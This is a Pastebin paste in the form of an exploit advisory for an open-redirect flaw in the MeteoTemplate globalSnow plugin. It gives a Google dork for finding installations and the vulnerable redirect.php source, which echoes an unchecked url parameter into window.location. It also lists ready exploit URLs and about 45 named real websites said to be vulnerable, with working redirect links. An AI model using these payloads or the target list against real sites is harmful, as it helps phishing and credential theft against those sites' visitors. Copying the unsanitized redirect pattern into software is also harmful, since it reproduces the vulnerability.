API tools faq
paste
Advertisement
KingSkrupellos

MeteoTemplate 17.1 globalSnow Plugins 1.1 Open Redirection

KingSkrupellos
Mar 7th, 2019
84
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.83 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : MeteoTemplate 17.1 Nectarine globalSnow Plugins 1.1 Open Redirection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 07/03/2019
  7. # Vendor Homepage : meteotemplate.com
  8. # Software Download Link : meteotemplate.com/web/downloadRequest.php?file=globalSnow_1.1
  9. # Software Information Link : meteotemplate.com/web/plugins/globalSnow.php
  10. # Software Affected Versions : 1.0 and 1.1
  11. Vulnerable Versions for MeteoTemplate
  12. Meteotemplate 4.1 Mango
  13. Meteotemplate 6.0 Blueberry
  14. Meteotemplate 10.0 Banana
  15. Meteotemplate 11.0 Passion Fruit
  16. Meteotemplate 13.0 Lemon
  17. Meteotemplate 16.0 Physalis
  18. MeteoTemplate 17.0 Nectarine
  19. MeteoTemplate 17.1 Nectarine
  20. # Tested On : Windows and Linux
  21. # Category : WebApps
  22. # Exploit Risk : High
  23. # Google Dorks : inurl:"/plugins/globalSnow/"
  24. # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
  25. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  26. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  27. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  28. # Reference Link : cxsecurity.com/issue/WLB-2019030061
  29.  
  30. ####################################################################
  31.  
  32. # Description about Software :
  33. ***************************
  34. * A plugin showing current ice and snow in the world as well as in
  35. particular areas (Europe, US, Canada).
  36.  
  37. * World – this one shows several maps of current global snow and ice cover
  38. * U.S. – this page shows several maps for the United States and also regional maps,
  39. with the possibility to switch and set default
  40. * Canada – several maps of Canada, both national and regional
  41. * Europe – maps of snow cover and precipitation for Europe
  42.  
  43. ####################################################################
  44.  
  45. # Impact :
  46. ***********
  47. This web application MeteoTemplate 17.1 Nectarine globalSnow Plugins 1.1 accepts a user-controlled input that
  48.  
  49. specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.
  50.  
  51. An http parameter may contain a URL value and could cause the web application to redirect the request to the
  52.  
  53. specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam
  54.  
  55. and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts
  56.  
  57. have a more trustworthy appearance. Open redirect is a failure in that process that makes it possible for attackers
  58.  
  59. to steer users to malicious websites. This vulnerability is used in phishing attacks to get users to visit malicious
  60.  
  61. sites without realizing it. Web users often encounter redirection when they visit the Web site of a company whose name
  62.  
  63. has been changed or which has been acquired by another company. Visiting unreal web page user's computer becomes
  64.  
  65. affected by malware the task of which is to deceive the valid actor and steal his personal data.
  66.  
  67. ####################################################################
  68.  
  69. # Vulnerable Source Code : [ redirect.php ]
  70. **************************************
  71. <?php
  72.  
  73. ############################################################################
  74. #
  75. # Meteotemplate
  76. # http://www.meteotemplate.com
  77. # Free website template for weather enthusiasts
  78. # Author: Jachym
  79. # Brno, Czech Republic
  80. # First release: 2015
  81. #
  82. ############################################################################
  83. #
  84. # Loading Spinner
  85. #
  86. # A script which shows a loading spinner while redirecting.
  87. #
  88. ############################################################################
  89. # Version (change log - http://meteotemplate.com/blog/?page_id=42)
  90. #
  91. # v2.0 Watermelon 2015-09-12
  92. #
  93. ############################################################################
  94.  
  95.  
  96. include("../../config.php");
  97. include($baseURL."css/design.php");
  98. include($baseURL."header.php");
  99. $address = urldecode($_GET["url"]);
  100. ?>
  101. <html>
  102. <head>
  103. <?php metaHeader()?>
  104. <style>
  105. #loading{
  106. background-color: transparent;
  107. height: 100%;
  108. width: 100%;
  109. position: fixed;
  110. z-index: 1;
  111. margin-top: 0px;
  112. top: 0px;
  113. }
  114. #loading-center{
  115. width: 100%;
  116. height: 100%;
  117. position: relative;
  118. }
  119. #loading-center-absolute {
  120. position: absolute;
  121. left: 50%;
  122. top: 50%;
  123. height: 200px;
  124. width: 200px;
  125. margin-top: -100px;
  126. margin-left: -100px;
  127.  
  128. }
  129. .object{
  130. -moz-border-radius: 50% 50% 50% 50%;
  131. -webkit-border-radius: 50% 50% 50% 50%;
  132. border-radius: 50% 50% 50% 50%;
  133. position: absolute;
  134. border-left: 5px solid #FFF;
  135. border-right: 5px solid #FFF;
  136. border-top: 5px solid transparent;
  137. border-bottom: 5px solid transparent;
  138. -webkit-animation: animate 2s infinite;
  139. animation: animate 2s infinite;
  140. }
  141.  
  142. #object_one{
  143. left: 75px;
  144. top: 75px;
  145. width: 50px;
  146. height: 50px;
  147. }
  148.  
  149. #object_two{
  150. left: 65px;
  151. top: 65px;
  152. width: 70px;
  153. height: 70px;
  154. -webkit-animation-delay: 0.1s;
  155. animation-delay: 0.1s;
  156. }
  157.  
  158. #object_three{
  159. left: 55px;
  160. top: 55px;
  161. width: 90px;
  162. height: 90px;
  163. -webkit-animation-delay: 0.2s;
  164. animation-delay: 0.2s;
  165. }
  166. #object_four{
  167. left: 45px;
  168. top: 45px;
  169. width: 110px;
  170. height: 110px;
  171. -webkit-animation-delay: 0.3s;
  172. animation-delay: 0.3s;
  173.  
  174. }
  175.  
  176. @-webkit-keyframes animate {
  177.  
  178.  
  179. 50% {
  180. -ms-transform: rotate(180deg);
  181. -webkit-transform: rotate(180deg);
  182. transform: rotate(180deg);
  183. }
  184.  
  185. 100% {
  186. -ms-transform: rotate(0deg);
  187. -webkit-transform: rotate(0deg);
  188. transform: rotate(0deg);
  189. }
  190.  
  191. }
  192.  
  193. @keyframes animate {
  194.  
  195. 50% {
  196. -ms-transform: rotate(180deg);
  197. -webkit-transform: rotate(180deg);
  198. transform: rotate(180deg);
  199. }
  200.  
  201. 100% {
  202. -ms-transform: rotate(0deg);
  203. -webkit-transform: rotate(0deg);
  204. transform: rotate(0deg);
  205. }
  206. }
  207. </style>
  208. </head>
  209. <body onload="redirectpage()">
  210. <div id="loading">
  211. <div id="loading-center">
  212. <div id="loading-center-absolute">
  213. <div class="object" id="object_four">
  214. </div>
  215. <div class="object" id="object_three">
  216. </div>
  217. <div class="object" id="object_two">
  218. </div>
  219. <div class="object" id="object_one">
  220. </div>
  221. </div>
  222. </div>
  223. </div>
  224. </body>
  225. <script>
  226. function redirectpage(){
  227. window.location.href = "<?php echo $address ?>";
  228. }
  229. </script>
  230. </html>
  231.  
  232. ####################################################################
  233.  
  234. # Open Redirection Exploit :
  235. **************************
  236. /template/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  237.  
  238. /plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  239.  
  240. /Meteo/template/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  241.  
  242. /meteotemplate/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  243.  
  244. /MeteoTemplate/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  245.  
  246. /template5/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  247.  
  248. /weather/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  249.  
  250. /acu/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  251.  
  252. /knjazevac/MeteoTemplate/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  253.  
  254. /MT41/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  255.  
  256. /pws/plugins/globalSnow/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  257.  
  258. ####################################################################
  259.  
  260. # Example Vulnerable Sites :
  261. *************************
  262. [+] meteotemplate.com/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  263.  
  264. [+] roustika.info/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  265.  
  266. [+] weatheromaha.net/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  267.  
  268. [+] meteoalcoletge.com/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  269.  
  270. [+] meteo-arbois.fr/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  271.  
  272. [+] slovreme.eu/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  273.  
  274. [+] sv2bzq.gr/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  275.  
  276. [+] weereefde.nl/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  277.  
  278. [+] meteo-lignerolles.fr/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  279.  
  280. [+] meteoherhet.be/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  281.  
  282. [+] orzepowice24.pl/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  283.  
  284. [+] terminimeteo.altervista.org/meteotemplate/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  285.  
  286. [+] meteofermo.altervista.org/template5/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  287.  
  288. [+] meteorivalta.altervista.org/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  289.  
  290. [+] meteopino.es/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  291.  
  292. [+] meteodonostia.es/acu/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  293.  
  294. [+] tomanddonna.co.uk/weather/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  295.  
  296. [+] meteonieuw-vennep.nl/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  297.  
  298. [+] asobig.com/weather/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  299.  
  300. [+] meteotirana.al/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  301.  
  302. [+] bdibenedetto.ch/MeteoTemplate/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  303.  
  304. [+] vallsjon.se/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  305.  
  306. [+] lucdesign.nl/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  307.  
  308. [+] wustrau.org/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  309.  
  310. [+] smaniotto.eu/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  311.  
  312. [+] monselicemeteo.altervista.org/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  313.  
  314. [+] carlobeolchi.net/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  315.  
  316. [+] wetter-lehmschlenke.de/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  317.  
  318. [+] vreme.in.rs/knjazevac/MeteoTemplate/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  319.  
  320. [+] wetter-erichshof-weyhe.de/Meteo/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  321.  
  322. [+] akker.be/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  323.  
  324. [+] meteolanaudiere.ca/meteo/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  325.  
  326. [+] wetter-saal-io.de/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  327.  
  328. [+] wetter-kleve.de/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  329.  
  330. [+] meteo-daoulas.fr/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  331.  
  332. [+] meteobasaldella.it/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  333.  
  334. [+] ostarijemet.org/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  335.  
  336. [+] ilmeteobrescia.it/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  337.  
  338. [+] nexus.byethost32.com/MT41/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  339.  
  340. [+] wetter.unterwurzacher.at/meteo/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  341.  
  342. [+] wetter-hiltenfingen.euro-picture.de/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  343.  
  344. [+] priamoservice.gr/pws/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  345.  
  346. [+] wettertotal.de/meteo/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  347.  
  348. [+] meteopaparano.altervista.org/template/plugins/globalSnow/redirect.php?url=https://cxsecurity.com
  349.  
  350. ####################################################################
  351.  
  352. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  353.  
  354. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!